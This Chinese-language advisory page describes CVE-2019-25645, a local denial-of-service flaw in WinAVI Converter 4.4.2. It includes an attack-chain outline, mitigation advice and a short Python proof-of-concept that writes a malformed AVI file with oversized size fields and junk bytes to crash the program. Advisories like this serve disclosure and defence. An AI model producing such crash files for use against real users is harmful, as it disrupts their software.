IPBUF安全漏洞报告
English
CVE-2019-25645 CVSS 6.2 中危

CVE-2019-25645 WinAVI Converter拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2019-25645
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WinAVI iPod/3GP/MP4/PSP Converter

相关标签

拒绝服务DoS缓冲区溢出WinAVI本地漏洞

漏洞概述

WinAVI iPod/3GP/MP4/PSP Converter 4.4.2版本存在拒绝服务漏洞。该漏洞源于程序在处理AVI文件时未能正确验证缓冲区大小。本地攻击者可利用此漏洞,通过构造包含超大缓冲区的畸形AVI文件,并利用软件的“Convert to iPhone”功能加载该文件,从而触发应用程序崩溃,导致服务不可用。

技术细节

该漏洞的根本原因是WinAVI Converter在解析AVI文件格式时,对特定数据块长度的校验机制存在缺陷。当软件处理用户提供的AVI文件时,没有对文件头或数据流中的缓冲区大小进行严格限制。攻击者可以精心制作一个特制的AVI文件,其中包含故意设置的超大缓冲区数据。当受害者尝试使用WinAVI Converter的“Convert to iPhone”功能处理该恶意文件时,解析引擎会读取并尝试处理该异常数据。由于缺乏边界检查,程序在内存分配或读写操作过程中发生错误,导致堆栈或堆内存破坏,进而引发访问冲突。根据CVSS向量分析,该漏洞攻击路径为本地,利用难度低,且无需用户交互即可触发(在特定配置下),最终导致应用程序崩溃。

攻击链分析

STEP 1
步骤1:漏洞利用准备
攻击者编写脚本或工具,生成包含恶意超大缓冲区的畸形AVI文件。
STEP 2
步骤2:文件投递
攻击者将生成的畸形AVI文件发送给目标用户,或放置在目标系统可访问的路径下。
STEP 3
步骤3:触发漏洞
目标用户使用WinAVI Converter打开该文件,并尝试使用“Convert to iPhone”功能进行处理。
STEP 4
步骤4:系统崩溃
软件解析畸形数据时发生内存访问错误,导致应用程序异常终止,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # PoC for CVE-2019-25645 # Description: Generates a malformed AVI file with an oversized buffer to trigger DoS. filename = "exploit.avi" # Basic AVI file header structure riff_header = b"RIFF" riff_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size file_type = b"AVI " list_header = b"LIST" list_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size list_type = b"hdrl" # Junk data to simulate oversized buffer junk_buffer = b"A" * 10000 # Construct the malformed file payload = riff_header + riff_size + file_type + list_header + list_size + list_type + junk_buffer with open(filename, "wb") as f: f.write(payload) print(f"[+] Created {filename}. Load this in WinAVI Converter to trigger the crash.")

影响范围

WinAVI iPod/3GP/MP4/PSP Converter 4.4.2

防御指南

临时缓解措施
建议用户谨慎处理AVI文件,不要使用该软件打开未知来源的媒体文件。在未获得官方修复补丁前,应限制对该软件的使用,或通过应用白名单机制阻止该软件在关键系统上运行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表